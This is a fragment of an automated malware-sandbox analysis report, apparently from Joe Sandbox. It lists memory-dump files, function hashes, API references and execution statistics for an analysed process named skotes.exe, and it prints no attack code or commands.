Associated: 00000001.00000002.2508280827.0000000000A1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508308888.0000000000A1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508487216.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508516090.0000000000A23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508543333.0000000000A27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508565857.0000000000A30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508586488.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508605391.0000000000A33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508681765.0000000000A37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508709418.0000000000A43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508739901.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508885897.0000000000A48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508900655.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508916845.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508933368.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508948630.0000000000A50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508961637.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508974753.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508988238.0000000000A5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509001839.0000000000A62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509019603.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509036367.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509055179.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509089226.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000AA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509152815.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509170894.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509189630.0000000000AD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509210133.0000000000ADB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509224715.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509237819.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06c6e86f3fcaa04d0958e37718be10794a0289051f868ef0dc2ae40894827a9d
Instruction ID: d610013608b95e641d6cd1cb91cbf136ababb305c871f49db89727906da16477
Opcode Fuzzy Hash: 06c6e86f3fcaa04d0958e37718be10794a0289051f868ef0dc2ae40894827a9d
Instruction Fuzzy Hash: 45811074E002458FDB15CF68D8907EEBBF2FB59300F1806AAD954A7353C3399945CBA0

Function 00818860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2494150893.00000000007D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000001.00000002.2493201836.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2494150893.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495463608.0000000000839000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495547111.000000000083B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495801085.0000000000847000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2498803531.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2499452061.0000000000997000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2503455825.00000000009C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505145102.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505218294.00000000009D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505259322.00000000009D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505383287.00000000009EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505913509.00000000009F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2506879873.00000000009F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2507292705.0000000000A04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508111805.0000000000A05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508236120.0000000000A06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508260365.0000000000A1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508280827.0000000000A1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508308888.0000000000A1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508487216.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508516090.0000000000A23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508543333.0000000000A27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508565857.0000000000A30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508586488.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508605391.0000000000A33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508681765.0000000000A37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508709418.0000000000A43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508739901.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508885897.0000000000A48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508900655.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508916845.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508933368.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508948630.0000000000A50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508961637.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508974753.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508988238.0000000000A5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509001839.0000000000A62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509019603.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509036367.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509055179.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509089226.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000AA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509152815.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509170894.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509189630.0000000000AD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509210133.0000000000ADB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509224715.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509237819.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 33bec47a4edd1119ae483fb4d089d1c13d8583832376877f9b48f1ad17cdcaae
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: EA112B77600186C7E6148B3DC8B65F7A79DFFC53257AC437AD042CB758DA22D9C59600

Function 0080A302 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2494150893.00000000007D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000001.00000002.2493201836.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2494150893.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495463608.0000000000839000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495547111.000000000083B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495801085.0000000000847000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2498803531.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2499452061.0000000000997000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2503455825.00000000009C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505145102.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505218294.00000000009D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505259322.00000000009D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505383287.00000000009EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505913509.00000000009F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2506879873.00000000009F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2507292705.0000000000A04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508111805.0000000000A05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508236120.0000000000A06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508260365.0000000000A1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508280827.0000000000A1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508308888.0000000000A1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508487216.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508516090.0000000000A23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508543333.0000000000A27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508565857.0000000000A30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508586488.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508605391.0000000000A33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508681765.0000000000A37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508709418.0000000000A43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508739901.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508885897.0000000000A48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508900655.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508916845.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508933368.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508948630.0000000000A50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508961637.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508974753.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508988238.0000000000A5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509001839.0000000000A62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509019603.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509036367.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509055179.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509089226.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000AA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509152815.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509170894.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509189630.0000000000AD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509210133.0000000000ADB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509224715.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509237819.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 7254a9cdfb18fc86932e2676ae5de766e45e159f83f58f77589ee4c48ac7c5bf
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 45E08C32921228EBCB18DB9CC90498AF3ECFB49B00F660096F501D3290C270DE00CBD1

Function 007D2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 007D2F5F
GetCurrentThreadId.KERNEL32 ref: 007D2F7E
__Mtx_unlock.LIBCPMT ref: 007D2FCC
__Cnd_broadcast.LIBCPMT ref: 007D2FE3
__Mtx_unlock.LIBCPMT ref: 007D30F5
GetCurrentThreadId.KERNEL32 ref: 007D3132
__Mtx_unlock.LIBCPMT ref: 007D319B

Memory Dump Source

Source File: 00000001.00000002.2494150893.00000000007D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000001.00000002.2493201836.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2494150893.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495463608.0000000000839000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495547111.000000000083B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495801085.0000000000847000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2498803531.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2499452061.0000000000997000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2503455825.00000000009C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505145102.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505218294.00000000009D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505259322.00000000009D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505383287.00000000009EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505913509.00000000009F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2506879873.00000000009F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2507292705.0000000000A04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508111805.0000000000A05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508236120.0000000000A06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508260365.0000000000A1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508280827.0000000000A1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508308888.0000000000A1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508487216.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508516090.0000000000A23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508543333.0000000000A27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508565857.0000000000A30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508586488.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508605391.0000000000A33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508681765.0000000000A37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508709418.0000000000A43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508739901.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508885897.0000000000A48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508900655.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508916845.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508933368.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508948630.0000000000A50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508961637.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508974753.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508988238.0000000000A5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509001839.0000000000A62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509019603.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509036367.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509055179.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509089226.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000AA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509152815.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509170894.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509189630.0000000000AD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509210133.0000000000ADB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509224715.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509237819.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7d0000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: b8e8b68b457b6fa75751acc2c9b2207cecf6b53b1e5f18b53cc6538abc6e5593
Instruction ID: 6c9f9d31ce7306e9b61089e105efe71b87c33bfd71ccc5c8aee06fec5c1f392c
Opcode Fuzzy Hash: b8e8b68b457b6fa75751acc2c9b2207cecf6b53b1e5f18b53cc6538abc6e5593
Instruction Fuzzy Hash: 12A1F370A02646DFDB11DF65C94875ABBB8FF19310F04852AE815D7341EB39EA05CBD2

Function 007EBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 007EBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 007EBBE4
_xtime_get.LIBCPMT ref: 007EBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 007EBC13

Memory Dump Source

Source File: 00000001.00000002.2494150893.00000000007D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000001.00000002.2493201836.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2494150893.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495463608.0000000000839000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495547111.000000000083B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495801085.0000000000847000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2498803531.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2499452061.0000000000997000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2503455825.00000000009C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505145102.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505218294.00000000009D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505259322.00000000009D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505383287.00000000009EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505913509.00000000009F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2506879873.00000000009F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2507292705.0000000000A04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508111805.0000000000A05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508236120.0000000000A06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508260365.0000000000A1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508280827.0000000000A1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508308888.0000000000A1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508487216.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508516090.0000000000A23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508543333.0000000000A27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508565857.0000000000A30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508586488.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508605391.0000000000A33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508681765.0000000000A37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508709418.0000000000A43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508739901.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508885897.0000000000A48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508900655.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508916845.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508933368.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508948630.0000000000A50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508961637.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508974753.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508988238.0000000000A5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509001839.0000000000A62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509019603.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509036367.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509055179.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509089226.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000AA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509152815.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509170894.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509189630.0000000000AD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509210133.0000000000ADB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509224715.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509237819.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7d0000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 0f4b3f7777933f0631cf2229e2e2e5d7a9913e20b74878ac46f0fad5dd0f2da2
Instruction ID: a8ffe3875e917564a29f91efca9f0769b655269f03820f4056c8aebc74273535
Opcode Fuzzy Hash: 0f4b3f7777933f0631cf2229e2e2e5d7a9913e20b74878ac46f0fad5dd0f2da2
Instruction Fuzzy Hash: DC213D76A01149EFDF01EBA5D8869BFBBB9EF0C710F104415F901A7261DB389D029BA1

Analysis Process: skotes.exePID: 3964, Parent PID: 5644COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1969
Total number of Limit Nodes:	9

Executed Functions

Function 005E652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,005E652A,?,?,?,?,?,005E7661), ref: 005E6567

Memory Dump Source

Source File: 00000003.00000002.2548973005.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000003.00000002.2548949921.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
